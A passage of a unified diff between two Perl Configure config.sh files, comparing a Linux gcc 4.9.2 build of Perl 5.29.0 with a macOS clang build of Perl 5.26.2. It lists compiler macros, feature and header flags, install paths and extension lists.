__DEC64_SUBNORMAL_MIN__=0.000000000000001E-383DD __DECIMAL_BID_FORMAT__=1 __DECIMAL_DIG__=21 __DEC_EVAL_METHOD__=2 __ELF__=1 __FINITE_MATH_ONLY__=0 __FLOAT_WORD_ORDER__=1234 __FLT_DECIMAL_DIG__=9 __FLT_DENORM_MIN__=1.40129846432481707092e-45F __FLT_DIG__=6 __FLT_EPSILON__=1.19209289550781250000e-7F __FLT_EVAL_METHOD__=0 __FLT_HAS_DENORM__=1 __FLT_HAS_INFINITY__=1 __FLT_HAS_QUIET_NAN__=1 __FLT_MANT_DIG__=24 __FLT_MAX_10_EXP__=38 __FLT_MAX_EXP__=128 __FLT_MAX__=3.40282346638528859812e+38F __FLT_MIN_10_EXP__=(-37) __FLT_MIN_EXP__=(-125) __FLT_MIN__=1.17549435082228750797e-38F __FLT_RADIX__=2 __FXSR__=1 __GCC_ATOMIC_BOOL_LOCK_FREE=2 __GCC_ATOMIC_CHAR16_T_LOCK_FREE=2 __GCC_ATOMIC_CHAR32_T_LOCK_FREE=2 __GCC_ATOMIC_CHAR_LOCK_FREE=2 __GCC_ATOMIC_INT_LOCK_FREE=2 __GCC_ATOMIC_LLONG_LOCK_FREE=2 __GCC_ATOMIC_LONG_LOCK_FREE=2 __GCC_ATOMIC_POINTER_LOCK_FREE=2 __GCC_ATOMIC_SHORT_LOCK_FREE=2 __GCC_ATOMIC_TEST_AND_SET_TRUEVAL=1 __GCC_ATOMIC_WCHAR_T_LOCK_FREE=2 __GCC_HAVE_DWARF2_CFI_ASM=1 __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1=1 __GCC_HAVE_SYNC_COMPARE_AND_SWAP_2=1 __GCC_HAVE_SYNC_COMPARE_AND_SWAP_4=1 __GCC_HAVE_SYNC_COMPARE_AND_SWAP_8=1 __GCC_IEC_559=2 __GCC_IEC_559_COMPLEX=2 __GLIBC_MINOR__=19 __GLIBC__=2 __GNUC_GNU_INLINE__=1 __GNUC_MINOR__=9 __GNUC_PATCHLEVEL__=2 __GNUC__=4 __GNU_LIBRARY__=6 __GXX_ABI_VERSION=1002 __INT16_C=__INT16_C __INT16_MAX__=32767 __INT16_TYPE__=short\ int __INT32_C=__INT32_C __INT32_MAX__=2147483647 __INT32_TYPE__=int __INT64_C=__INT64_C __INT64_MAX__=9223372036854775807L __INT64_TYPE__=long\ int __INT8_C=__INT8_C __INT8_MAX__=127 __INT8_TYPE__=signed\ char __INTMAX_C=__INTMAX_C __INTMAX_MAX__=9223372036854775807L __INTMAX_TYPE__=long\ int __INTPTR_MAX__=9223372036854775807L __INTPTR_TYPE__=long\ int __INT_FAST16_MAX__=9223372036854775807L __INT_FAST16_TYPE__=long\ int __INT_FAST32_MAX__=9223372036854775807L __INT_FAST32_TYPE__=long\ int __INT_FAST64_MAX__=9223372036854775807L __INT_FAST64_TYPE__=long\ int __INT_FAST8_MAX__=127 __INT_FAST8_TYPE__=signed\ char __INT_LEAST16_MAX__=32767 __INT_LEAST16_TYPE__=short\ int __INT_LEAST32_MAX__=2147483647 __INT_LEAST32_TYPE__=int __INT_LEAST64_MAX__=9223372036854775807L __INT_LEAST64_TYPE__=long\ int __INT_LEAST8_MAX__=127 __INT_LEAST8_TYPE__=signed\ char __INT_MAX__=2147483647 __LDBL_DENORM_MIN__=3.64519953188247460253e-4951L __LDBL_DIG__=18 __LDBL_EPSILON__=1.08420217248550443401e-19L __LDBL_HAS_DENORM__=1 __LDBL_HAS_INFINITY__=1 __LDBL_HAS_QUIET_NAN__=1 __LDBL_MANT_DIG__=64 __LDBL_MAX_10_EXP__=4932 __LDBL_MAX_EXP__=16384 __LDBL_MAX__=1.18973149535723176502e+4932L __LDBL_MIN_10_EXP__=(-4931) __LDBL_MIN_EXP__=(-16381) __LDBL_MIN__=3.36210314311209350626e-4932L __LONG_LONG_MAX__=9223372036854775807LL __LONG_MAX__=9223372036854775807L __LP64__=1 __MMX__=1 __ORDER_BIG_ENDIAN__=4321 __ORDER_LITTLE_ENDIAN__=1234 __ORDER_PDP_ENDIAN__=3412 __PRAGMA_REDEFINE_EXTNAME=1 __PTRDIFF_MAX__=9223372036854775807L __PTRDIFF_TYPE__=long\ int __REGISTER_PREFIX__= __SCHAR_MAX__=127 __SHRT_MAX__=32767 __SIG_ATOMIC_MAX__=2147483647 __SIG_ATOMIC_MIN__=(-2147483647\ -\ 1) __SIG_ATOMIC_TYPE__=int __SIZEOF_DOUBLE__=8 __SIZEOF_FLOAT__=4 __SIZEOF_INT128__=16 __SIZEOF_INT__=4 __SIZEOF_LONG_DOUBLE__=16 __SIZEOF_LONG_LONG__=8 __SIZEOF_LONG__=8 __SIZEOF_POINTER__=8 __SIZEOF_PTRDIFF_T__=8 __SIZEOF_SHORT__=2 __SIZEOF_SIZE_T__=8 __SIZEOF_WCHAR_T__=4 __SIZEOF_WINT_T__=4 __SIZE_MAX__=18446744073709551615UL __SIZE_TYPE__=long\ unsigned\ int __SSE2_MATH__=1 __SSE2__=1 __SSE_MATH__=1 __SSE__=1 __STDC_HOSTED__=1 __STDC_IEC_559_COMPLEX__=1 __STDC_IEC_559__=1 __STDC_ISO_10646__=201103L __STDC_NO_THREADS__=1 __STDC__=1 __UINT16_C=__UINT16_C __UINT16_MAX__=65535 __UINT16_TYPE__=short\ unsigned\ int __UINT32_C=__UINT32_C __UINT32_MAX__=4294967295U __UINT32_TYPE__=unsigned\ int __UINT64_C=__UINT64_C __UINT64_MAX__=18446744073709551615UL __UINT64_TYPE__=long\ unsigned\ int __UINT8_C=__UINT8_C __UINT8_MAX__=255 __UINT8_TYPE__=unsigned\ char __UINTMAX_C=__UINTMAX_C __UINTMAX_MAX__=18446744073709551615UL __UINTMAX_TYPE__=long\ unsigned\ int __UINTPTR_MAX__=18446744073709551615UL __UINTPTR_TYPE__=long\ unsigned\ int __UINT_FAST16_MAX__=18446744073709551615UL __UINT_FAST16_TYPE__=long\ unsigned\ int __UINT_FAST32_MAX__=18446744073709551615UL __UINT_FAST32_TYPE__=long\ unsigned\ int __UINT_FAST64_MAX__=18446744073709551615UL __UINT_FAST64_TYPE__=long\ unsigned\ int __UINT_FAST8_MAX__=255 __UINT_FAST8_TYPE__=unsigned\ char __UINT_LEAST16_MAX__=65535 __UINT_LEAST16_TYPE__=short\ unsigned\ int __UINT_LEAST32_MAX__=4294967295U __UINT_LEAST32_TYPE__=unsigned\ int __UINT_LEAST64_MAX__=18446744073709551615UL __UINT_LEAST64_TYPE__=long\ unsigned\ int __UINT_LEAST8_MAX__=255 __UINT_LEAST8_TYPE__=unsigned\ char __USER_LABEL_PREFIX__= __USE_BSD=1 __USE_FILE_OFFSET64=1 __USE_LARGEFILE=1 __USE_MISC=1 __USE_POSIX199309=1 __USE_POSIX199506=1 __USE_POSIX2=1 __USE_POSIX=1 __USE_SVID=1 __VERSION__="4.9.2" __WCHAR_MAX__=2147483647 __WCHAR_MIN__=(-2147483647\ -\ 1) __WCHAR_TYPE__=int __WINT_MAX__=4294967295U __WINT_MIN__=0U __WINT_TYPE__=unsigned\ int __amd64=1 __amd64__=1 __code_model_small__=1 __gnu_linux__=1 __has_include=__has_include __has_include_next=__has_include_next __k8=1 __k8__=1 __linux=1 __linux__=1 __unix=1 __unix__=1 __x86_64=1 __x86_64__=1 linux=1 unix=1' +cppsymbols='_FORTIFY_SOURCE=2 _LP64=1 __BYTE_ORDER__=1234 __GNUC_MINOR__=2 __GNUC__=4 __LITTLE_ENDIAN__=1 __LP64__=1 __MACH__=1 __PIC__=2 __STDC__=1 __amd64=1 __amd64__=1 __clang__=1 __pic__=2 __x86_64=1 __x86_64__=1' crypt_r_proto='0' cryptlib='' csh='csh' ctermid_r_proto='0' ctime_r_proto='0' -d_Gconvert='gcvt((x),(n),(b))' +d_Gconvert='sprintf((b),"%.*g",(n),(x))' d_PRIEUldbl='define' d_PRIFUldbl='define' d_PRIGUldbl='define' @@ -117,7 +112,6 @@ d_PRIu64='define' d_PRIx64='define' d_SCNfldbl='define' d__fwalk='undef' -d_accept4='define' d_access='define' d_accessx='undef' d_acosh='define' @@ -139,23 +133,24 @@ d_attribute_pure='define' d_attribute_unused='define' d_attribute_warn_unused_result='define' d_backtrace='define' -d_bsd='undef' +d_bcmp='define' +d_bcopy='define' +d_bsd='define' d_bsdgetpgrp='undef' d_bsdsetpgrp='undef' -d_builtin_add_overflow='undef' d_builtin_choose_expr='define' d_builtin_expect='define' -d_builtin_mul_overflow='undef' -d_builtin_sub_overflow='undef' +d_bzero='define' d_c99_variadic_macros='define' d_casti32='undef' d_castneg='define' d_cbrt='define' +d_charvspr='undef' d_chown='define' d_chroot='define' d_chsize='undef' d_class='undef' -d_clearenv='define' +d_clearenv='undef' d_closedir='define' d_cmsghdr_s='define' d_const='define' @@ -169,13 +164,14 @@ d_ctermid='define' d_ctermid_r='undef' d_ctime64='undef' d_ctime_r='undef' -d_cuserid='define' -d_dbminitproto='define' +d_cuserid='undef' +d_dbl_dig='define' +d_dbminitproto='undef' d_difftime64='undef' d_difftime='define' d_dir_dd_fd='undef' d_dirfd='define' -d_dirnamlen='undef' +d_dirnamlen='define' d_dladdr='define' d_dlerror='define' d_dlopen='define' @@ -192,9 +188,8 @@ d_double_style_vax='undef' d_drand48_r='undef' d_drand48proto='define' d_dup2='define' -d_dup3='define' d_duplocale='define' -d_eaccess='define' +d_eaccess='undef' d_endgrent='define' d_endgrent_r='undef' d_endhent='define' @@ -216,7 +211,6 @@ d_expm1='define' d_faststdio='define' d_fchdir='define' d_fchmod='define' -d_fchmodat='define' d_fchown='define' d_fcntl='define' d_fcntl_can_lock='define' @@ -224,11 +218,11 @@ d_fd_macros='define' d_fd_set='define' d_fdclose='undef' d_fdim='define' -d_fds_bits='undef' +d_fds_bits='define' d_fegetround='define' d_fgetpos='define' -d_finite='define' -d_finitel='define' +d_finite='undef' +d_finitel='undef' d_flexfnam='define' d_flock='define' d_flockproto='define' @@ -256,13 +250,13 @@ d_fsync='define' d_ftello='define' d_ftime='undef' d_futimes='define' -d_gai_strerror='define' +d_gai_strerror='undef' d_gdbm_ndbm_h_uses_prototypes='undef' d_gdbmndbm_h_uses_prototypes='undef' d_getaddrinfo='define' d_getcwd='define' d_getespwnam='undef' -d_getfsstat='undef' +d_getfsstat='define' d_getgrent='define' d_getgrent_r='undef' d_getgrgid_r='undef' @@ -280,7 +274,7 @@ d_getitimer='define' d_getlogin='define' d_getlogin_r='undef' d_getmnt='undef' -d_getmntent='define' +d_getmntent='undef' d_getnameinfo='define' d_getnbyaddr='define' d_getnbyname='define' @@ -314,19 +308,20 @@ d_getservbyname_r='undef' d_getservbyport_r='undef' d_getservent_r='undef' d_getservprotos='define' -d_getspnam='define' +d_getspnam='undef' d_getspnam_r='undef' d_gettimeod='define' d_gmtime64='undef' d_gmtime_r='undef' -d_gnulibc='define' +d_gnulibc='undef' d_grpasswd='define' -d_hasmntopt='define' +d_hasmntopt='undef' d_htonl='define' d_hypot='define' d_ilogb='define' d_ilogbl='define' d_inc_version_list='undef' +d_index='undef' d_inetaton='define' d_inetntop='define' d_inetpton='define' @@ -340,13 +335,13 @@ d_isblank='define' d_isfinite='define' d_isfinitel='undef' d_isinf='define' -d_isinfl='define' +d_isinfl='undef' d_isless='undef' d_isnan='define' -d_isnanl='define' +d_isnanl='undef' d_isnormal='define' d_j0='define' -d_j0l='define' +d_j0l='undef' d_killpg='define' d_lc_monetary_2008='define' d_lchown='define' @@ -354,15 +349,13 @@ d_ldbl_dig='define' d_ldexpl='define' d_lgamma='define' d_lgamma_r='define' -d_libm_lib_version='define' +d_libm_lib_version='undef' d_libname_unique='undef' d_link='define' -d_linkat='define' d_llrint='define' d_llrintl='define' d_llround='define' d_llroundl='define' -d_localeconv_l='undef' d_localtime64='undef' d_localtime_r='undef' d_localtime_r_needs_tzset='undef' @@ -371,7 +364,7 @@ d_lockf='define' d_log1p='define' d_log2='define' d_logb='define' -d_long_double_style_ieee='define' +d_long_double_style_ieee='undef' d_long_double_style_ieee_doubledouble='undef' d_long_double_style_ieee_extended='define' d_long_double_style_ieee_std='undef' @@ -385,19 +378,20 @@ d_lroundl='define' d_lseekproto='define' d_lstat='define' d_madvise='define' -d_malloc_good_size='undef' -d_malloc_size='undef' +d_malloc_good_size='define' +d_malloc_size='define' d_mblen='define' -d_mbrlen='define' -d_mbrtowc='define' d_mbstowcs='define' d_mbtowc='define' +d_memchr='define' +d_memcmp='define' +d_memcpy='define' d_memmem='define' -d_memrchr='define' +d_memmove='define' +d_memset='define' d_mkdir='define' d_mkdtemp='define' d_mkfifo='define' -d_mkostemp='define' d_mkstemp='define' d_mkstemps='define' d_mktime64='undef' @@ -411,7 +405,7 @@ d_msg_ctrunc='define' d_msg_dontroute='define' d_msg_oob='define' d_msg_peek='define' -d_msg_proxy='define' +d_msg_proxy='undef' d_msgctl='define' d_msgget='define' d_msghdr_s='define' @@ -421,9 +415,8 @@ d_msync='define' d_munmap='define' d_mymalloc='undef' d_nan='define' -d_nanosleep='define' d_ndbm='define' -d_ndbm_h_uses_prototypes='undef' +d_ndbm_h_uses_prototypes='define' d_nearbyint='define' d_newlocale='define' d_nextafter='define' @@ -437,33 +430,31 @@ d_old_pthread_create_joinable='undef' d_oldpthreads='undef' d_oldsock='undef' d_open3='define' -d_openat='define' d_pathconf='define' d_pause='define' d_perl_otherlibdirs='undef' d_phostname='undef' -d_pipe2='define' d_pipe='define' -d_poll='define' +d_poll='undef' d_portable='define' -d_prctl='define' -d_prctl_set_name='define' -d_printf_format_null='undef' -d_procselfexe='define' +d_prctl='undef' +d_prctl_set_name='undef' +d_printf_format_null='define' +d_procselfexe='undef' d_pseudofork='undef' d_pthread_atfork='define' d_pthread_attr_setscope='define' -d_pthread_yield='define' +d_pthread_yield='undef' d_ptrdiff_t='define' d_pwage='undef' -d_pwchange='undef' -d_pwclass='undef' +d_pwchange='define' +d_pwclass='define' d_pwcomment='undef' -d_pwexpire='undef' +d_pwexpire='define' d_pwgecos='define' d_pwpasswd='define' d_pwquota='undef' -d_qgcvt='define' +d_qgcvt='undef' d_quad='define' d_querylocale='undef' d_random_r='undef' @@ -479,11 +470,13 @@ d_regcomp='define' d_remainder='define' d_remquo='define' d_rename='define' -d_renameat='define' d_rewinddir='define' d_rint='define' d_rmdir='define' d_round='define' +d_safebcpy='undef' +d_safemcpy='undef' +d_sanemcmp='define' d_sbrkproto='define' d_scalbn='define' d_scalbnl='define' @@ -521,11 +514,11 @@ d_setprotoent_r='undef' d_setpwent='define' d_setpwent_r='undef' d_setregid='define' -d_setresgid='define' -d_setresuid='define' +d_setresgid='undef' +d_setresuid='undef' d_setreuid='define' -d_setrgid='undef' -d_setruid='undef' +d_setrgid='define' +d_setruid='define' d_setsent='define' d_setservent_r='undef' d_setsid='define' @@ -540,7 +533,7 @@ d_sigaction='define' d_siginfo_si_addr='define' d_siginfo_si_band='define' d_siginfo_si_errno='define' -d_siginfo_si_fd='define' +d_siginfo_si_fd='undef' d_siginfo_si_pid='define' d_siginfo_si_status='define' d_siginfo_si_uid='define' @@ -552,13 +545,14 @@ d_sin6_scope_id='define' d_sitearch='define' d_snprintf='define' d_sockaddr_in6='define' -d_sockaddr_sa_len='undef' +d_sockaddr_sa_len='define' d_sockatmark='define' d_sockatmarkproto='define' d_socket='define' d_socklen_t='define' d_sockpair='define' d_socks5_init='undef' +d_sprintf_returns_strlen='define' d_sqrtl='define' d_srand48_r='undef' d_srandom_r='undef' @@ -570,25 +564,26 @@ d_statfs_f_flags='define' d_statfs_s='define' d_static_inline='define' d_statvfs='define' -d_stdio_cnt_lval='undef' +d_stdio_cnt_lval='define' d_stdio_ptr_lval='define' -d_stdio_ptr_lval_nochange_cnt='undef' -d_stdio_ptr_lval_sets_cnt='define' +d_stdio_ptr_lval_nochange_cnt='define' +d_stdio_ptr_lval_sets_cnt='undef' d_stdio_stream_array='undef' d_stdiobase='define' d_stdstdio='define' +d_strchr='define' d_strcoll='define' -d_strerror_l='define' +d_strctcpy='define' +d_strerrm='strerror(e)' +d_strerror='define' +d_strerror_l='undef' d_strerror_r='undef' d_strftime='define' -d_strlcat='undef' -d_strlcpy='undef' -d_strnlen='define' +d_strlcat='define' +d_strlcpy='define' d_strtod='define' -d_strtod_l='undef' d_strtol='define' d_strtold='define' -d_strtold_l='define' d_strtoll='define' d_strtoq='define' d_strtoul='define' @@ -608,7 +603,6 @@ d_tcsetpgrp='define' d_telldir='define' d_telldirproto='define' d_tgamma='define' -d_thread_safe_nl_langinfo_l='undef' d_time='define' d_timegm='define' d_times='define' @@ -624,22 +618,23 @@ d_u32align='define' d_ualarm='define' d_umask='define' d_uname='define' -d_union_semun='undef' -d_unlinkat='define' +d_union_semun='define' d_unordered='undef' d_unsetenv='define' d_uselocale='define' d_usleep='define' d_usleepproto='define' -d_ustat='define' +d_ustat='undef' d_vendorarch='undef' d_vendorbin='undef' d_vendorlib='undef' d_vendorscript='undef' -d_vfork='undef' +d_vfork='define' d_void_closedir='undef' d_voidsig='define' d_voidtty='' +d_volatile='define' +d_vprintf='define' d_vsnprintf='define' d_wait4='define' d_waitpid='define' @@ -650,14 +645,14 @@ d_wctomb='define' d_writev='define' d_xenix='undef' date='date' -db_hashtype='u_int32_t' -db_prefixtype='size_t' -db_version_major='5' -db_version_minor='1' -db_version_patch='29' -default_inc_excludes_dot='define' +db_hashtype='int' +db_prefixtype='int' +db_version_major='1' +db_version_minor='0' +db_version_patch='0' +default_inc_excludes_dot='undef' direntrytype='struct dirent' -dlext='so' +dlext='bundle' dlsrc='dl_dlopen.xs' doubleinfbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f' doublekind='3' @@ -668,8 +663,7 @@ drand01='Perl_drand48()' drand48_r_proto='0' dtrace='' dtraceobject='' -dtracexnolibs='' -dynamic_ext='B Compress/Raw/Bzip2 Compress/Raw/Zlib Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Digest/MD5 Digest/SHA Encode Fcntl File/DosGlob File/Glob Filter/Util/Call GDBM_File Hash/Util Hash/Util/FieldHash I18N/Langinfo IO IPC/SysV List/Util MIME/Base64 Math/BigInt/FastCalc NDBM_File ODBM_File Opcode POSIX PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via SDBM_File Socket Storable Sys/Hostname Sys/Syslog Tie/Hash/NamedCapture Time/HiRes Time/Piece Unicode/Collate Unicode/Normalize XS/APItest XS/Typemap arybase attributes mro re threads threads/shared' +dynamic_ext='B Compress/Raw/Bzip2 Compress/Raw/Zlib Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Digest/MD5 Digest/SHA Encode Fcntl File/DosGlob File/Glob Filter/Util/Call GDBM_File Hash/Util Hash/Util/FieldHash I18N/Langinfo IO IPC/SysV List/Util MIME/Base64 Math/BigInt/FastCalc NDBM_File Opcode POSIX PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via SDBM_File Socket Storable Sys/Hostname Sys/Syslog Tie/Hash/NamedCapture Time/HiRes Time/Piece Unicode/Collate Unicode/Normalize XS/APItest XS/Typemap arybase attributes mro re threads threads/shared' eagain='EAGAIN' ebcdic='undef' echo='echo' @@ -684,24 +678,24 @@ endservent_r_proto='0' eunicefix=':' exe_ext='' expr='expr' -extensions='B Compress/Raw/Bzip2 Compress/Raw/Zlib Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Digest/MD5 Digest/SHA Encode Fcntl File/DosGlob File/Glob Filter/Util/Call GDBM_File Hash/Util Hash/Util/FieldHash I18N/Langinfo IO IPC/SysV List/Util MIME/Base64 Math/BigInt/FastCalc NDBM_File ODBM_File Opcode POSIX PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via SDBM_File Socket Storable Sys/Hostname Sys/Syslog Tie/Hash/NamedCapture Time/HiRes Time/Piece Unicode/Collate Unicode/Normalize XS/APItest XS/Typemap arybase attributes mro re threads threads/shared Archive/Tar Attribute/Handlers AutoLoader B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Config/Perl/V Devel/SelfStubber Digest Dumpvalue Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS File/Fetch File/Find File/Path File/Temp FileCache Filter/Simple Getopt/Long HTTP/Tiny I18N/Collate I18N/LangTags IO/Compress IO/Socket/IP IO/Zlib IPC/Cmd IPC/Open3 JSON/PP Locale/Codes Locale/Maketext Locale/Maketext/Simple Math/BigInt Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NEXT Net/Ping Params/Check Perl/OSType PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage Safe Search/Dict SelfLoader Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Memoize Tie/RefHash Time/Local XSLoader autodie autouse base bignum constant encoding/warnings experimental if lib libnet parent perlfaq podlators version' +extensions='B Compress/Raw/Bzip2 Compress/Raw/Zlib Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Digest/MD5 Digest/SHA Encode Fcntl File/DosGlob File/Glob Filter/Util/Call GDBM_File Hash/Util Hash/Util/FieldHash I18N/Langinfo IO IPC/SysV List/Util MIME/Base64 Math/BigInt/FastCalc NDBM_File Opcode POSIX PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via SDBM_File Socket Storable Sys/Hostname Sys/Syslog Tie/Hash/NamedCapture Time/HiRes Time/Piece Unicode/Collate Unicode/Normalize XS/APItest XS/Typemap arybase attributes mro re threads threads/shared Archive/Tar Attribute/Handlers AutoLoader B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Config/Perl/V Devel/SelfStubber Digest Dumpvalue Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS File/Fetch File/Find File/Path File/Temp FileCache Filter/Simple Getopt/Long HTTP/Tiny I18N/Collate I18N/LangTags IO/Compress IO/Socket/IP IO/Zlib IPC/Cmd IPC/Open3 JSON/PP Locale/Codes Locale/Maketext Locale/Maketext/Simple Math/BigInt Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NEXT Net/Ping Params/Check Parse/CPAN/Meta Perl/OSType PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage Safe Search/Dict SelfLoader Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Memoize Tie/RefHash Time/Local XSLoader autodie autouse base bignum constant encoding/warnings experimental if lib libnet parent perlfaq podlators version' extern_C='extern' extras='' fflushNULL='define' fflushall='undef' find='' -firstmakefile='makefile' +firstmakefile='GNUmakefile' flex='' -fpossize='16' +fpossize='8' fpostype='fpos_t' freetype='void' from=':' -full_ar='/usr/bin/ar' +full_ar='/opt/local/bin/ar' full_csh='/bin/csh' -full_sed='/bin/sed' +full_sed='/opt/local/libexec/gnubin/sed' gccansipedantic='' gccosandvers='' -gccversion='4.9.2' +gccversion='4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)' getgrent_r_proto='0' getgrgid_r_proto='0' getgrnam_r_proto='0' @@ -729,15 +723,15 @@ gidtype='gid_t' glibpth='/usr/shlib /lib /usr/lib /usr/lib/386 /lib/386 /usr/ccs/lib /usr/ucblib /usr/local/lib ' gmake='gmake' gmtime_r_proto='0' -gnulibc_version='2.19' +gnulibc_version='' grep='grep' groupcat='cat /etc/group' groupstype='gid_t' gzip='gzip' h_fcntl='false' h_sysfile='true' -hint='recommended' -hostcat='' +hint='previous' +hostcat='cat /etc/hosts' hostgenerate='' hostosname='' hostperl='' @@ -754,53 +748,61 @@ i64type='long' i8size='1' i8type='signed char' i_arpainet='define' +i_assert='define' i_bfd='undef' i_bsdioctl='' -i_crypt='define' +i_crypt='undef' i_db='define' -i_dbm='define' +i_dbm='undef' i_dirent='define' i_dlfcn='define' i_execinfo='define' i_fcntl='undef' i_fenv='define' +i_float='define' i_fp='undef' i_fp_class='undef' i_gdbm='define' -i_gdbm_ndbm='define' +i_gdbm_ndbm='undef' i_gdbmndbm='undef' i_grp='define' i_ieeefp='undef' i_inttypes='define' i_langinfo='define' i_libutil='undef' +i_limits='define' i_locale='define' i_machcthr='undef' -i_malloc='define' -i_mallocmalloc='undef' -i_mntent='define' -i_ndbm='undef' +i_malloc='undef' +i_mallocmalloc='define' +i_math='define' +i_memory='undef' +i_mntent='undef' +i_ndbm='define' i_netdb='define' i_neterrno='undef' i_netinettcp='define' i_niin='define' -i_poll='define' +i_poll='undef' i_prot='undef' i_pthread='define' i_pwd='define' -i_quadmath='define' +i_quadmath='undef' i_rpcsvcdbm='undef' i_sgtty='undef' -i_shadow='define' +i_shadow='undef' i_socks='undef' +i_stdarg='define' i_stdbool='define' +i_stddef='define' i_stdint='define' i_stdlib='define' +i_string='define' i_sunmath='undef' i_sysaccess='undef' i_sysdir='define' i_sysfile='define' -i_sysfilio='undef' +i_sysfilio='define' i_sysin='undef' i_sysioctl='define' i_syslog='define' @@ -813,9 +815,9 @@ i_syspoll='define' i_sysresrc='define' i_syssecrt='undef' i_sysselct='define' -i_syssockio='undef' +i_syssockio='define' i_sysstat='define' -i_sysstatfs='define' +i_sysstatfs='undef' i_sysstatvfs='define' i_systime='define' i_systimek='undef' @@ -824,43 +826,45 @@ i_systypes='define' i_sysuio='define' i_sysun='define' i_sysutsname='define' -i_sysvfs='define' +i_sysvfs='undef' i_syswait='define' i_termio='undef' i_termios='define' -i_time='define' +i_time='undef' i_unistd='define' -i_ustat='define' +i_ustat='undef' i_utime='define' +i_values='undef' +i_varargs='undef' +i_varhdr='stdarg.h' i_vfork='undef' -i_wchar='define' i_xlocale='define' -ignore_versioned_solibs='y' +ignore_versioned_solibs='' inc_version_list='' inc_version_list_init='0' incpath='' -incpth='/usr/lib/gcc/x86_64-linux-gnu/4.9/include /usr/local/include /usr/lib/gcc/x86_64-linux-gnu/4.9/include-fixed /usr/include/x86_64-linux-gnu /usr/include' +incpth='/usr/local/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include /usr/include /usr/local/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include /usr/include /usr/local/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include /usr/include' inews='' -initialinstalllocation='/opt/perl/bin' -installarchlib='/opt/perl/lib/5.29.0/x86_64-linux' -installbin='/opt/perl/bin' +initialinstalllocation='/tmp/mblead/bin' +installarchlib='/tmp/mblead/lib/perl5/5.26.2/darwin-2level' +installbin='/tmp/mblead/bin' installhtml1dir='' installhtml3dir='' -installman1dir='/opt/perl/man/man1' -installman3dir='/opt/perl/man/man3' -installprefix='/opt/perl' -installprefixexp='/opt/perl' -installprivlib='/opt/perl/lib/5.29.0' -installscript='/opt/perl/bin' -installsitearch='/opt/perl/lib/site_perl/5.29.0/x86_64-linux' -installsitebin='/opt/perl/bin' +installman1dir='/tmp/mblead/man/man1' +installman3dir='/tmp/mblead/man/man3' +installprefix='/tmp/mblead' +installprefixexp='/tmp/mblead' +installprivlib='/tmp/mblead/lib/perl5/5.26.2' +installscript='/tmp/mblead/bin' +installsitearch='/tmp/mblead/lib/perl5/site_perl/5.26.2/darwin-2level' +installsitebin='/tmp/mblead/bin' installsitehtml1dir='' installsitehtml3dir='' -installsitelib='/opt/perl/lib/site_perl/5.29.0' -installsiteman1dir='/opt/perl/man/man1' -installsiteman3dir='/opt/perl/man/man3' -installsitescript='/opt/perl/bin' -installstyle='lib' +installsitelib='/tmp/mblead/lib/perl5/site_perl/5.26.2' +installsiteman1dir='/tmp/mblead/man/man1' +installsiteman3dir='/tmp/mblead/man/man3' +installsitescript='/tmp/mblead/bin' +installstyle='lib/perl5' installusrbinperl='undef' installvendorarch='' installvendorbin='' @@ -875,38 +879,38 @@ issymlink='test -h' ivdformat='"ld"' ivsize='8' ivtype='long' -known_extensions='Amiga/ARexx Amiga/Exec Archive/Tar Attribute/Handlers AutoLoader B B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Compress/Raw/Bzip2 Compress/Raw/Zlib Config/Perl/V Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Devel/SelfStubber Digest Digest/MD5 Digest/SHA Dumpvalue Encode Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS Fcntl File/DosGlob File/Fetch File/Find File/Glob File/Path File/Temp FileCache Filter/Simple Filter/Util/Call GDBM_File Getopt/Long HTTP/Tiny Hash/Util Hash/Util/FieldHash I18N/Collate I18N/LangTags I18N/Langinfo IO IO/Compress IO/Socket/IP IO/Zlib 